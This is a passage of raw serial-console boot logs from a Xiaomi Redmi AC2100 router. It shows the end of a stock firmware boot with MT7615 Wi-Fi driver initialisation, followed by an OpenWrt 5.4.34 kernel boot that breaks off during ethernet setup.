br-lan: port 2(wl1) entered forwarding state [ 26.440000] ipaccount: ifname [wl2] event[13] [ 26.440000] ##### mbss_cr_enable, BssId = 1 [ 26.450000] ipaccount: ifname [wl2] event[1] [ 27.310000] dev_redirect: add(+) dev redirect mapping: src:eth1->dst:ifb0 [ 27.600000] ipaccount: ifname [wl0] event[13] [ 27.610000] wl0: ===> main_virtual_if_open [ 27.930000] E2pAccessMode=2 [ 27.930000] SSID[0]=dolf2, EdcaIdx=0 [ 27.940000] DBDC Mode=0, eDBDC_mode = 0 [ 27.940000] BSS0 PhyMode=49 [ 27.940000] wmode_band_equal(): Band Equal! [ 27.950000] [TxPower] BAND0: 100 [ 27.960000] [PERCENTAGEenable] BAND0: 1 [ 27.960000] FragThreshold[0]=2346 [ 27.970000] [RTMPSetProfileParameters]Disable DFS/Zero wait=0/0 [ 28.020000] HT: WDEV[0] Ext Channel = ABOVE [ 28.020000] HT: greenap_cap = 0 [ 28.050000] WtcSetMaxStaNum: BssidNum:1, MaxStaNum:124 (WdsNum:0, ApcliNum:2, MaxNumChipRept:32), MinMcastWcid:125 [ 28.060000] Top Init Done! [ 28.070000] Use dev_alloc_skb [ 28.070000] RX[0] DESC a0c28000 size = 16384 [ 28.080000] RX[1] DESC a0c26000 size = 8192 [ 28.080000] cut_through_init(): ct sw token number = 4095 [ 28.090000] cut_through_token_list_init(): TokenList inited done!id_head/tail=0/4096 [ 28.090000] cut_through_token_list_init(): 850c2c08,850c2c08 [ 28.100000] cut_through_token_list_init(): TokenList inited done!id_head/tail=0/4096 [ 28.110000] cut_through_token_list_init(): 850c2c18,850c2c18 [ 28.110000] Hif Init Done! [ 28.120000] ctl->txq = c187b76c [ 28.120000] ctl->rxq = c187b778 [ 28.120000] ctl->ackq = c187b784 [ 28.130000] ctl->kickq = c187b790 [ 28.130000] ctl->tx_doneq = c187b79c [ 28.130000] ctl->rx_doneq = c187b7a8 [ 28.140000] Parsing patch header [ 28.140000] Built date: 20180518100604a [ 28.140000] [ 28.150000] Platform: ALPS [ 28.150000] HW/SW version: 0x8a108a10 [ 28.150000] Patch version: 0x00000010 [ 28.160000] Target address: 0x80000, length: 11072 [ 28.160000] patch is not ready && get semaphore success [ 28.170000] EventGenericEventHandler: CMD Success [ 28.170000] MtCmdPatchFinishReq [ 28.190000] EventGenericEventHandler: CMD Success [ 28.190000] release patch semaphore [ 28.190000] Parsing CPU 0 fw tailer [ 28.200000] Chip ID: 0x04 [ 28.200000] Eco version: 0x00 [ 28.200000] Region number: 0x00 [ 28.210000] Format version: 0x00 [ 28.210000] Ram version: _reserved_ [ 28.210000] Built date: 20190307015603\00 [ 28.220000] Common crc: 0x0 [ 28.220000] Parsing tailer region 0 [ 28.220000] Feature set: 0x01 [ 28.230000] Target address: 0x84000, Download size: 409600 [ 28.230000] Parsing tailer region 1 [ 28.240000] Feature set: 0x01 [ 28.240000] Target address: 0x209c400, Download size: 43328 [ 28.240000] EventGenericEventHandler: CMD Success [ 28.260000] EventGenericEventHandler: CMD Success [ 28.260000] MtCmdFwStartReq: override = 0x1, address = 0x84000 [ 28.270000] EventGenericEventHandler: CMD Success [ 28.270000] Parsing CPU 1 fw tailer [ 28.270000] Chip ID: 0x04 [ 28.280000] Eco version: 0x00 [ 28.280000] Region number: 0x00 [ 28.280000] Format version: 0x00 [ 28.290000] Ram version: _reserved_ [ 28.290000] Built date: 20190415154149\00 [ 28.290000] Common crc: 0x0 [ 28.300000] Parsing tailer region 0 [ 28.300000] Feature set: 0x01 [ 28.300000] Target address: 0x90000000, Download size: 122608 [ 28.310000] EventGenericEventHandler: CMD Success [ 28.320000] MtCmdFwStartReq: override = 0x4, address = 0x0 [ 28.360000] EventGenericEventHandler: CMD Success [ 28.400000] br-lan: port 2(wl1) entered forwarding state [ 28.430000] MCU Init Done! [ 28.430000] efuse_probe: efuse = 10000212 [ 28.430000] RtmpChipOpsEepromHook::e2p_type=2, inf_Type=5 [ 28.440000] RtmpEepromGetDefault::e2p_dafault=1 [ 28.440000] RtmpChipOpsEepromHook: E2P type(2), E2pAccessMode = 2, E2P default = 1 [ 28.450000] NVM is FLASH mode. dev_idx [1] FLASH OFFSET [0x8000] [ 28.460000] NICReadEEPROMParameters: EEPROM 0x52 b300 [ 35.940000] Country Region from e2p = 101 [ 35.940000] MtCmdSetDbdcCtrl:(ret = 0) [ 35.950000] MtSingleSkuLoadParam: RF_LOCKDOWN Feature OFF !!! [ 35.950000] MtBfBackOffLoadParam: RF_LOCKDOWN Feature OFF !!! [ 35.960000] EEPROM Init Done! [ 35.960000] mt_mac_init()--> [ 35.970000] mt7615_init_mac_cr()--> [ 35.970000] mt7615_init_mac_cr(): TMAC_TRCR0=0x82783c8c [ 35.980000] mt7615_init_mac_cr(): TMAC_TRCR1=0x82783c8c [ 35.980000] <--mt_mac_init() [ 35.980000] MAC Init Done! [ 35.990000] MT7615BBPInit():BBP Initialization..... [ 35.990000] Band 0: valid=1, isDBDC=0, Band=2, CBW=1, CentCh/PrimCh=1/1, prim_ch_idx=0, txStream=2 [ 36.000000] Band 1: valid=0, isDBDC=0, Band=0, CBW=0, CentCh/PrimCh=0/0, prim_ch_idx=0, txStream=0 [ 36.010000] PHY Init Done! [ 36.010000] MtCmdSetMacTxRx:(ret = 0) [ 36.020000] WifiFwdSet::disabled=0 [ 36.020000] Main bssid = 00:00:00:00:00:00 [ 36.030000] MtCmdSetMacTxRx:(ret = 0) [ 36.030000] MtCmdSetMacTxRx:(ret = 0) [ 36.030000] <==== mt_wifi_init, Status=0 [ 36.040000] TxBfModuleEnCtrl:It's not DBDC mode [ 36.040000] MtCmdEDCCACtrl: BandIdx: 0, EDCCACtrl: 1 [ 36.050000] MtCmdEDCCACtrl: BandIdx: 1, EDCCACtrl: 1 [ 36.050000] ipaccount: ifname [apclii0] event[16] [ 36.060000] ipaccount: ifname [apclii0] event[5] [ 36.060000] WtcSetMaxStaNum: BssidNum:1, MaxStaNum:124 (WdsNum:0, ApcliNum:2, MaxNumChipRept:32), MinMcastWcid:125 [ 36.110000] RTMP_COM_IoctlHandle -> CMD_RTPRIV_IOCTL_VIRTUAL_INF_UP [ 36.120000] wifi_sys_open(), wdev idx = 0 [ 36.120000] wdev_attr_update(): wdevId0 = 8c:53:c3:96:11:1e [ 36.130000] [RcGetHdevByPhyMode]-- channel 0 fix for rdev fetching [ 36.130000] MtCmdSetDbdcCtrl:(ret = 0) [ 36.140000]  [RadarStateCheck] RD_NORMAL_MODE  [ 36.140000] AP inf up for ra_0(func_idx) OmacIdx=0 [ 36.150000] AsicRadioOnOffCtrl(): DbdcIdx=0 RadioOn [ 36.150000] ApAutoChannelAtBootUp-----------------> [ 36.160000] ApAutoChannelAtBootUp: AutoChannelBootup = 1 [ 36.160000] MtCmdSetMacTxRx:(ret = 0) [ 36.170000] [AutoChSelBuildChannelListFor5G] ChListNum5G = 13 [ 36.980000] ApAutoChannelAtBootUp : Auto channel selection: Selected channel = 157, IsAband = 1 [ 36.980000]  AutoChSelUpdateChannel(): Update channel for wdev for this band PhyMode = 49, Channel = 157  [ 36.990000]  [RadarStateCheck] RD_NORMAL_MODE  [ 38.110000] :MtCmdPktBudgetCtrl: bssid(255),wcid(65535),type(0) [ 38.110000] [DfsCacNormalStart] Normal start. Enable MAC TX [ 38.110000] ApAutoChannelAtBootUp<----------------- [ 38.110000] wifi_sys_linkup(), wdev idx = 0 [ 38.240000] bssUpdateBmcMngRate (BSS_INFO_BROADCAST_INFO), CmdBssInfoBmcRate.u2BcTransmit= 8192, CmdBssInfoBmcRate.u2McTransmit = 8196 [ 38.250000] UpdateBeaconHandler, BCN_UPDATE_INIT, OmacIdx = 0 [ 38.260000] APStartUpForMbss: BssIndex = 0 channel = 157 [ 38.260000] MtCmdTxPowerDropCtrl: ucPowerDrop: 100, BandIdx: 0 [ 38.270000] apidx 0 for WscUUIDInit [ 38.270000] Generate UUID for apidx(0) [ 38.280000] ipaccount: ifname [wl0] event[1] [ 38.320000] wifi_sys_linkdown(), wdev idx = 0 [ 38.320000] ExtEventBeaconLostHandler::FW LOG, Beacon lost (8c:53:c3:96:11:1e), Reason 0x10 [ 38.320000] Beacon lost - AP disabled!!! [ 38.340000] bssUpdateBmcMngRate (BSS_INFO_BROADCAST_INFO), CmdBssInfoBmcRate.u2BcTransmit= 0, CmdBssInfoBmcRate.u2McTransmit = 0 [ 38.350000] wifi_sys_close(), wdev idx = 0 [ 38.350000] wifi_sys_open(), wdev idx = 0 [ 38.360000] wdev_attr_update(): wdevId0 = 8c:53:c3:96:11:1e [ 38.360000] MtCmdSetDbdcCtrl:(ret = 0) [ 38.370000] [DfsCacNormalStart] Normal start. Enable MAC TX [ 38.370000] wifi_sys_linkup(), wdev idx = 0 [ 38.520000] bssUpdateBmcMngRate (BSS_INFO_BROADCAST_INFO), CmdBssInfoBmcRate.u2BcTransmit= 8192, CmdBssInfoBmcRate.u2McTransmit = 8196 [ 38.540000] UpdateBeaconHandler, BCN_UPDATE_INIT, OmacIdx = 0 [ 39.260000] ipaccount: ifname [wl0] event[20] [ 39.260000] device wl0 entered promiscuous mode [ 39.270000] br-lan: port 3(wl0) entered forwarding state [ 39.270000] br-lan: port 3(wl0) entered forwarding state [ 39.290000] Device Instance [ 39.300000] WDEV 00:, Name:wl0, Wdev(list) Idx:0 [ 39.300000] Idx:6 [ 39.300000] WDEV 01:, Name:apclii0, Wdev(list) Idx:1 [ 39.310000] Idx:11 [ 39.310000] [ 39.310000] [ 39.310000] [ 39.320000] [ 39.320000] [ 39.320000] [ 39.320000] [ 39.320000] [ 39.320000] [ 39.330000] [ 39.330000] [ 39.330000] [ 39.330000] [ 39.330000] [ 39.330000] [ 39.330000] [ 39.830000] enable ip account module. rcS S calling: /etc/rc.d/S20network boot: WARNING: EXITCODE=0, execute too slow, 20 >= 15: /etc/rc.d/S20network boot [ 41.270000] br-lan: port 3(wl0) entered forwarding state [ 41.490000] dev_redirect: add(+) dev redirect mapping: src:eth1->dst:ifb0 [ 44.030000] Ralink HW NAT Module Enabled [ 44.040000] eth0 ifindex =3 [ 44.040000] eth1 ifindex =4 [ 44.040000] HNAT: switch HNAT ON..... [ 44.050000] *hwnat reg dev ******* set dev[lo]->ifindex = 1 [ 44.050000] *hwnat reg dev ******* set dev[ifb0]->ifindex = 2 [ 44.060000] *hwnat reg dev ******* set dev[wl1]->ifindex = 5 [ 44.060000] *hwnat reg dev ******* set dev[wl0]->ifindex = 6 [ 44.070000] *hwnat reg dev ******* set dev[br-lan]->ifindex = 7 [ 44.080000] *hwnat reg dev ******* set dev[wl2]->ifindex = 8 [ 44.080000] *hwnat reg dev ******* set dev[wl3]->ifindex = 9 [ 44.090000] *hwnat reg dev ******* set dev[apcli0]->ifindex = 10 [ 44.090000] *hwnat reg dev ******* set dev[apclii0]->ifindex = 11 [ 44.140000] Device Instance [ 44.140000] WDEV 00:, Name:wl0, Wdev(list) Idx:0 [ 44.150000] Idx:6 [ 44.150000] WDEV 01:, Name:apclii0, Wdev(list) Idx:1 [ 44.150000] Idx:11 [ 44.160000] [ 44.160000] [ 44.160000] [ 44.160000] [ 44.160000] [ 44.160000] [ 44.170000] [ 44.170000] [ 44.170000] [ 44.170000] [ 44.170000] [ 44.170000] [ 44.170000] [ 44.180000] [ 44.180000] [ 44.180000] [ 44.190000] Device Instance [ 44.190000] WDEV 00:, Name:wl0, Wdev(list) Idx:0 [ 44.190000] Idx:6 [ 44.190000] WDEV 01:, Name:apclii0, Wdev(list) Idx:1 [ 44.200000] Idx:11 [ 44.200000] [ 44.200000] [ 44.210000] [ 44.210000] [ 44.210000] [ 44.210000] [ 44.210000] [ 44.210000] [ 44.210000] [ 44.220000] [ 44.220000] [ 44.220000] [ 44.220000] [ 44.220000] [ 44.220000] [ 44.220000] [ 44.240000] HNAT: switch HNAT ON..... Mon Nov 25 09:54:10 CST 2019 boot_check[3767]: INFO: Wireless OK [ 45.320000] ipaccount: refresh dev ifname to [eth0 wl0 wl1 wl3] [ 45.320000] ipaccount: landev_init_all() add dev [eth0] is_wireless: 0. [ 45.330000] ipaccount: landev_init_all() add dev [wl0] is_wireless: 1. [ 45.340000] ipaccount: landev_init_all() add dev [wl1] is_wireless: 1. [ 45.340000] ipaccount: landev_init_all() add dev [wl3] is_wireless: 1. [ 47.680000] dev_redirect: add(+) dev redirect mapping: src:eth1->dst:ifb0 [ 49.610000] dev_redirect OFF. [ 49.650000] dev_redirect OFF.dev_redirect OFF.ipaccount: landev_init_all() add dev [eth0] is_wireless: 0. [ 51.870000] ipaccount: landev_init_all() add dev [wl0] is_wireless: 1. [ 51.880000] ipaccount: landev_init_all() add dev [wl1] is_wireless: 1. [ 51.880000] ipaccount: landev_init_all() add dev [wl3] is_wireless: 1. rcS S boot: INFO: rcS S boot timing 43 seconds. Sun Jan 26 14:36:59 CST 2020 INFO: rcS S boot timing 43 seconds. rcS S boot: system type(RM2100/2): SQUASH/3 Sun Jan 26 14:36:59 CST 2020 system type(RM2100/2): SQUASH/3 rcS S boot: ROOTFS: /dev/mtdblock14 on / type squashfs (ro,relatime) Sun Jan 26 14:36:59 CST 2020 ROOTFS: /dev/mtdblock14 on / type squashfs (ro,relatime) [ 52.370000] led=6, on=1, off=4000, blinks,=1, reset=1, time=1 [ 52.380000] led=8, on=1, off=4000, blinks,=1, reset=1, time=1 [ 52.390000] led=8, on=4000, off=1, blinks,=1, reset=1, time=1 Unlocking cfg_bak ... Erasing cfg_bak ... Unlocking cfg_bak ... Writing from /tmp/cfg_bak.tgz to cfg_bak ... [ ][e][w] Sun Jan 26 14:37:00 CST 2020 boot_check[6080]: Booting up finished. [ 59.920000] led=10, on=1, off=4000, blinks,=1, reset=1, time=1 [ 59.930000] led=12, on=1, off=4000, blinks,=1, reset=1, time=1 [ 59.940000] led=12, on=4000, off=1, blinks,=1, reset=1, time=1


[ 0.000000] Linux version 5.4.34 (akane@redmagic) (gcc version 8.4.0 (OpenWrt GCC 8.4.0 r13046+8-df27e949fb)) #0 SMP Thu Apr 23 02:52:48 2020 [ 0.000000] SoC Type: MediaTek MT7621 ver:1 eco:3 [ 0.000000] printk: bootconsole [early0] enabled [ 0.000000] CPU0 revision is: 0001992f (MIPS 1004Kc) [ 0.000000] MIPS: machine is Xiaomi Redmi Router AC2100 [ 0.000000] Initrd not found or empty - disabling initrd [ 0.000000] VPE topology {2,2} total 4 [ 0.000000] Primary instruction cache 32kB, VIPT, 4-way, linesize 32 bytes. [ 0.000000] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes [ 0.000000] MIPS secondary cache 256kB, 8-way, linesize 32 bytes. [ 0.000000] Zone ranges: [ 0.000000] Normal [mem 0x0000000000000000-0x0000000007ffffff] [ 0.000000] HighMem empty [ 0.000000] Movable zone start for each node [ 0.000000] Early memory node ranges [ 0.000000] node 0: [mem 0x0000000000000000-0x0000000007ffffff] [ 0.000000] Initmem setup node 0 [mem 0x0000000000000000-0x0000000007ffffff] [ 0.000000] On node 0 totalpages: 32768 [ 0.000000] Normal zone: 288 pages used for memmap [ 0.000000] Normal zone: 0 pages reserved [ 0.000000] Normal zone: 32768 pages, LIFO batch:7 [ 0.000000] percpu: Embedded 14 pages/cpu s26672 r8192 d22480 u57344 [ 0.000000] pcpu-alloc: s26672 r8192 d22480 u57344 alloc=14*4096 [ 0.000000] pcpu-alloc: [0] 0 [0] 1 [0] 2 [0] 3 [ 0.000000] Built 1 zonelists, mobility grouping on. Total pages: 32480 [ 0.000000] Kernel command line: console=ttyS0,115200n8 rootfstype=squashfs,jffs2 [ 0.000000] Dentry cache hash table entries: 16384 (order: 4, 65536 bytes, linear) [ 0.000000] Inode-cache hash table entries: 8192 (order: 3, 32768 bytes, linear) [ 0.000000] Writing ErrCtl register=00021388 [ 0.000000] Readback ErrCtl register=00021388 [ 0.000000] mem auto-init: stack:off, heap alloc:off, heap free:off [ 0.000000] Memory: 121104K/131072K available (5548K kernel code, 196K rwdata, 1208K rodata, 1228K init, 229K bss, 9968K reserved, 0K cma-reserved, 0K highmem) [ 0.000000] SLUB: HWalign=32, Order=0-3, MinObjects=0, CPUs=4, Nodes=1 [ 0.000000] rcu: Hierarchical RCU implementation. [ 0.000000] rcu: RCU calculated value of scheduler-enlistment delay is 25 jiffies. [ 0.000000] NR_IRQS: 256 [ 0.000000] random: get_random_bytes called from start_kernel+0x340/0x554 with crng_init=0 [ 0.000000] CPU Clock: 880MHz [ 0.000000] clocksource: GIC: mask: 0xffffffffffffffff max_cycles: 0xcaf478abb4, max_idle_ns: 440795247997 ns [ 0.000000] clocksource: MIPS: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 4343773742 ns [ 0.000009] sched_clock: 32 bits at 440MHz, resolution 2ns, wraps every 4880645118ns [ 0.007801] Calibrating delay loop... 583.68 BogoMIPS (lpj=1167360) [ 0.042017] pid_max: default: 32768 minimum: 301 [ 0.046779] Mount-cache hash table entries: 1024 (order: 0, 4096 bytes, linear) [ 0.054005] Mountpoint-cache hash table entries: 1024 (order: 0, 4096 bytes, linear) [ 0.064420] rcu: Hierarchical SRCU implementation. [ 0.069852] smp: Bringing up secondary CPUs ... [ 2.260422] Primary instruction cache 32kB, VIPT, 4-way, linesize 32 bytes. [ 2.260433] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes [ 2.260444] MIPS secondary cache 256kB, 8-way, linesize 32 bytes. [ 2.260546] CPU1 revision is: 0001992f (MIPS 1004Kc) [ 0.102623] Synchronize counters for CPU 1: done. [ 2.321754] Primary instruction cache 32kB, VIPT, 4-way, linesize 32 bytes. [ 2.321762] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes [ 2.321770] MIPS secondary cache 256kB, 8-way, linesize 32 bytes. [ 2.321823] CPU2 revision is: 0001992f (MIPS 1004Kc) [ 0.167345] Synchronize counters for CPU 2: done. [ 2.383128] Primary instruction cache 32kB, VIPT, 4-way, linesize 32 bytes. [ 2.383137] Primary data cache 32kB, 4-way, PIPT, no aliases, linesize 32 bytes [ 2.383144] MIPS secondary cache 256kB, 8-way, linesize 32 bytes. [ 2.383200] CPU3 revision is: 0001992f (MIPS 1004Kc) [ 0.225210] Synchronize counters for CPU 3: done. [ 0.255079] smp: Brought up 1 node, 4 CPUs [ 0.263494] clocksource: jiffies: mask: 0xffffffff max_cycles: 0xffffffff, max_idle_ns: 7645041785100000 ns [ 0.273184] futex hash table entries: 1024 (order: 3, 32768 bytes, linear) [ 0.280278] pinctrl core: initialized pinctrl subsystem [ 0.286971] NET: Registered protocol family 16 [ 0.302188] FPU Affinity set after 4688 emulations [ 0.321612] random: fast init done [ 0.325052] clocksource: Switched to clocksource GIC [ 0.331846] NET: Registered protocol family 2 [ 0.337197] tcp_listen_portaddr_hash hash table entries: 512 (order: 0, 6144 bytes, linear) [ 0.345490] TCP established hash table entries: 1024 (order: 0, 4096 bytes, linear) [ 0.353084] TCP bind hash table entries: 1024 (order: 1, 8192 bytes, linear) [ 0.360069] TCP: Hash tables configured (established 1024 bind 1024) [ 0.366506] UDP hash table entries: 256 (order: 1, 8192 bytes, linear) [ 0.372980] UDP-Lite hash table entries: 256 (order: 1, 8192 bytes, linear) [ 0.380137] NET: Registered protocol family 1 [ 0.384451] PCI: CLS 0 bytes, default 32 [ 0.477021] 4 CPUs re-calibrate udelay(lpj = 1167360) [ 0.483678] workingset: timestamp_bits=14 max_order=15 bucket_order=1 [ 0.500907] squashfs: version 4.0 (2009/01/31) Phillip Lougher [ 0.506676] jffs2: version 2.2 (NAND) (SUMMARY) (LZMA) (RTIME) (CMODE_PRIORITY) (c) 2001-2006 Red Hat, Inc. [ 0.519097] mt7621_gpio 1e000600.gpio: registering 32 gpios [ 0.524937] mt7621_gpio 1e000600.gpio: registering 32 gpios [ 0.530761] mt7621_gpio 1e000600.gpio: registering 32 gpios [ 0.537077] Serial: 8250/16550 driver, 3 ports, IRQ sharing disabled [ 0.544606] printk: console [ttyS0] disabled [ 0.548887] 1e000c00.uartlite: ttyS0 at MMIO 0x1e000c00 (irq = 19, base_baud = 3125000) is a 16550A [ 0.557873] printk: console [ttyS0] enabled [ 0.566125] printk: bootconsole [early0] disabled [ 0.577741] mt7621-nand 1e003000.nand: Using programmed access timing: 31c07388 [ 0.585316] nand: device found, Manufacturer ID: 0xc8, Chip ID: 0xd1 [ 0.591654] nand: ESMT PSU1GA30DT [ 0.594965] nand: 128 MiB, SLC, erase size: 128 KiB, page size: 2048, OOB size: 64 [ 0.602519] mt7621-nand 1e003000.nand: ECC strength adjusted to 4 bits [ 0.609073] mt7621-nand 1e003000.nand: Using programmed access timing: 21005134 [ 0.616363] mt7621-nand 1e003000.nand: Using programmed access timing: 21005134 [ 0.623653] Scanning device for bad blocks [ 2.604779] 10 fixed-partitions partitions found on MTD device mt7621-nand [ 2.611641] Creating 10 MTD partitions on "mt7621-nand": [ 2.616948] 0x000000000000-0x000000080000 : "Bootloader" [ 2.623545] 0x000000080000-0x0000000c0000 : "Config" [ 2.629793] 0x0000000c0000-0x000000100000 : "Bdata" [ 2.635925] 0x000000100000-0x000000140000 : "factory" [ 2.642314] 0x000000140000-0x000000180000 : "crash" [ 2.648297] 0x000000180000-0x0000001c0000 : "crash_syslog" [ 2.654865] 0x0000001c0000-0x000000200000 : "reserved0" [ 2.661260] 0x000000200000-0x000000600000 : "kernel_stock" [ 2.667827] 0x000000600000-0x000000a00000 : "kernel" [ 2.674067] 0x000000a00000-0x000007f80000 : "ubi" [ 2.681708] libphy: Fixed MDIO Bus: probed [ 2.711522] libphy: mdio: probed [ 2.715000] mt7530 mdio-bus:1f: MT7530 adapts as multi-chip module [ 2.722807] mtk_soc_eth 1e100000.ethernet eth0: mediatek frame engine at 0xbe100000, irq 21 [ 2.733368] mt7621-pci 1e140000.pcie: Parsing DT failed [ 2.740977] NET: Registered protocol family 10 [ 2.747007] Segment Routing with IPv6 [ 2.750791] NET: Registered protocol family 17 [ 2.755593] 8021q: 802.1Q VLAN Support v1.8 [ 2.761655] mt7530 mdio-bus:1f: MT7530 adapts as multi-chip module [ 3.597415] libphy: dsa slave smi: probed [ 3.613111] mt7530 mdio-bus:1f wan (uninitialized): PHY [dsa-0.0:00] driver [Generic PHY] [ 3.657108] mt7530 mdio-bus:1f lan1 (uninitialized): PHY [dsa-0.0:02] driver [Generic PHY] [ 3.677110] mt7530 mdio-bus:1f lan2 (uninitialized): PHY [dsa-0.0:03] driver [Generic PHY] [ 3.697109] mt7530 mdio-bus:1f lan3 (uninitialized): PHY [dsa-0.0:04] driver [Generic PHY] [ 3.753056] mt7530 mdio-bus:1f: configuring for fixed/rgmii link mode [ 4.369055] mt7530 mdio-bus:1f: Link is Up - 1Gbps/Full - flow control off [ 4.445095] DSA: tree 0 setup [ 4.448356] rt2880-pinmux pinctrl: pcie is already enabled [ 4.453850] mt7621-pci 1e140000.pcie: Error applying setting, reverse things back [ 4.461455] mt7621-pci-phy 1e149000.pcie-phy: PHY for 0xbe149000 (dual port = 1) [ 4.469048] mt7621-pci-phy 1e14a000.pcie-phy: PHY for 0xbe14a000 (dual port = 0) [ 4.576460] mt7621-pci-phy 1e149000.pcie-phy: Xtal is 40MHz [ 4.582038] mt7621-pci-phy 1e14a000.pcie-phy: Xtal is 40MHz [ 4.687548] mt7621-pci 1e140000.pcie: pcie2 no card, disable it (RST & CLK) [ 4.694505] mt7621-pci 1e140000.pcie: PCIE0 enabled [ 4.699373] mt7621-pci 1e140000.pcie: PCIE1 enabled [ 4.704246] mt7621-pci 1e140000.pcie: PCI coherence region base: 0x60000000, mask/settings: 0xf0000002 [ 4.713693] mt7621-pci 1e140000.pcie: PCI host bridge to bus 0000:00 [ 4.720044] pci_bus 0000:00: root bus resource [io 0x1e160000-0x1e16ffff] [ 4.726907] pci_bus 0000:00: root bus resource [mem 0x60000000-0x6fffffff] [ 4.733769] pci_bus 0000:00: root bus resource [bus 00-ff] [ 4.739282] pci 0000:00:00.0: [0e8d:0801] type 01 class 0x060400 [ 4.745310] pci 0000:00:00.0: reg 0x10: [mem 0x00000000-0x7fffffff] [ 4.751567] pci 0000:00:00.0: reg 0x14: [mem 0x00000000-0x0000ffff] [ 4.757894] pci 0000:00:00.0: supports D1 [ 4.761900] pci 0000:00:00.0: PME# supported from D0 D1 D3hot [ 4.767988] pci 0000:00:01.0: [0e8d:0801] type 01 class 0x060400 [ 4.774026] pci 0000:00:01.0: reg 0x10: [mem 0x00000000-0x7fffffff] [ 4.780284] pci 0000:00:01.0: reg 0x14: [mem 0x00000000-0x0000ffff] [ 4.786601] pci 0000:00:01.0: supports D1 [ 4.790606] pci 0000:00:01.0: PME# supported from D0 D1 D3hot [ 4.797593] pci 0000:00:00.0: bridge configuration invalid ([bus 00-00]), reconfiguring [ 4.805595] pci 0000:00:01.0: bridge configuration invalid ([bus 00-00]), reconfiguring [ 4.813774] pci 0000:01:00.0: [14c3:7615] type 00 class 0x000280 [ 4.819823] pci 0000:01:00.0: reg 0x10: [mem 0x00000000-0x000fffff 64bit] [ 4.826775] pci 0000:01:00.0: 2.000 Gb/s available PCIe bandwidth, limited by 2.5 GT/s x1 link at 0000:00:00.0 (capable of 4.000 Gb/s with 5 GT/s x1 link) [ 4.841805] pci 0000:00:00.0: PCI bridge to [bus 01-ff] [ 4.847034] pci 0000:00:00.0: bridge window [io 0x0000-0x0fff] [ 4.853119] pci 0000:00:00.0: bridge window [mem 0x00000000-0x000fffff] [ 4.859901] pci 0000:00:00.0: bridge window [mem 0x00000000-0x000fffff pref] [ 4.867114] pci_bus 0000:01: busn_res: [bus 01-ff] end is updated to 01 [ 4.873915] pci 0000:02:00.0: [14c3:7603] type 00 class 0x028000 [ 4.879958] pci 0000:02:00.0: reg 0x10: [mem 0x00000000-0x000fffff] [ 4.886351] pci 0000:02:00.0: PME# supported from D0 D3hot D3cold [ 4.893710] pci 0000:00:01.0: PCI bridge to [bus 02-ff] [ 4.898941] pci 0000:00:01.0: bridge window [io 0x0000-0x0fff] [ 4.905043] pci 0000:00:01.0: bridge window [mem 0x00000000-0x000fffff] [ 4.911817] pci 0000:00:01.0: bridge window [mem 0x00000000-0x000fffff pref] [ 4.919030] pci_bus 0000:02: busn_res: [bus 02-ff] end is updated to 02 [ 4.925689] pci 0000:00:00.0: BAR 0: no space for [mem size 0x80000000] [ 4.932286] pci 0000:00:00.0: BAR 0: failed to assign [mem size 0x80000000] [ 4.939234] pci 0000:00:01.0: BAR 0: no space for [mem size 0x80000000] [ 4.945834] pci 0000:00:01.0: BAR 0: failed to assign [mem size 0x80000000] [ 4.952781] pci 0000:00:00.0: BAR 8: assigned [mem 0x60000000-0x600fffff] [ 4.959559] pci 0000:00:00.0: BAR 9: assigned [mem 0x60100000-0x601fffff pref] [ 4.966770] pci 0000:00:01.0: BAR 8: assigned [mem 0x60200000-0x602fffff] [ 4.973548] pci 0000:00:01.0: BAR 9: assigned [mem 0x60300000-0x603fffff pref] [ 4.980750] pci 0000:00:00.0: BAR 1: assigned [mem 0x60400000-0x6040ffff] [ 4.987531] pci 0000:00:01.0: BAR 1: assigned [mem 0x60410000-0x6041ffff] [ 4.994311] pci 0000:00:00.0: BAR 7: assigned [io 0x1e160000-0x1e160fff] [ 5.001087] pci 0000:00:01.0: BAR 7: assigned [io 0x1e161000-0x1e161fff] [ 5.007871] pci 0000:01:00.0: BAR 0: assigned [mem 0x60000000-0x600fffff 64bit] [ 5.015175] pci 0000:00:00.0: PCI bridge to [bus 01] [ 5.020132] pci 0000:00:00.0: bridge window [io 0x1e160000-0x1e160fff] [ 5.026906] pci 0000:00:00.0: bridge window [mem 0x60000000-0x600fffff] [ 5.033681] pci 0000:00:00.0: bridge window [mem 0x60100000-0x601fffff pref] [ 5.040891] pci 0000:02:00.0: BAR 0: assigned [mem 0x60200000-0x602fffff] [ 5.047668] pci 0000:00:01.0: PCI bridge to [bus 02] [ 5.052623] pci 0000:00:01.0: bridge window [io 0x1e161000-0x1e161fff] [ 5.059398] pci 0000:00:01.0: bridge window [mem 0x60200000-0x602fffff] [ 5.066173] pci 0000:00:01.0: bridge window [mem 0x60300000-0x603fffff pref] [ 5.074723] UBI: auto-attach mtd9 [ 5.078092] ubi0: attaching mtd9 [ 6.293865] ubi0: scanning is finished [ 6.315112] ubi0: attached mtd9 (name "ubi", size 117 MiB) [ 6.320617] ubi0: PEB size: 131072 bytes (128 KiB), LEB size: 126976 bytes [ 6.327477] ubi0: min./max. I/O unit sizes: 2048/2048, sub-page size 2048 [ 6.334246] ubi0: VID header offset: 2048 (aligned 2048), data offset: 4096 [ 6.341188] ubi0: good PEBs: 940, bad PEBs: 0, corrupted PEBs: 0 [ 6.347177] ubi0: user volume: 2, internal volumes: 1, max. volumes count: 128 [ 6.354388] ubi0: max/mean erase counter: 2/1, WL threshold: 4096, image sequence number: 1587555910 [ 6.363492] ubi0: available PEBs: 0, total reserved PEBs: 940, PEBs reserved for bad PEB handling: 20 [ 6.372711] ubi0: background thread "ubi_bgt0d" started, PID 460 [ 6.375170] block ubiblock0_0: created from ubi0:0(rootfs) [ 6.384215] ubiblock: device ubiblock0_0 (rootfs) set to be root filesystem [ 6.391170] hctosys: unable to open rtc device (rtc0) [ 6.403359] VFS: Mounted root (squashfs filesystem) readonly on device 254:0. [ 6.414574] Freeing unused kernel memory: 1228K [ 6.419146] This architecture does not have kernel memory protection. [ 6.425572] Run /sbin/init as init process [ 6.961749] init: Console is alive [ 6.965415] init: - watchdog - [ 7.539215] kmodloader: loading kernel modules from /etc/modules-boot.d/* [ 7.631947] kmodloader: done loading kernel modules from /etc/modules-boot.d/* [ 7.641395] init: - preinit - [ 8.311349] mtk_soc_eth 1e100000.ethernet eth0: configuring for 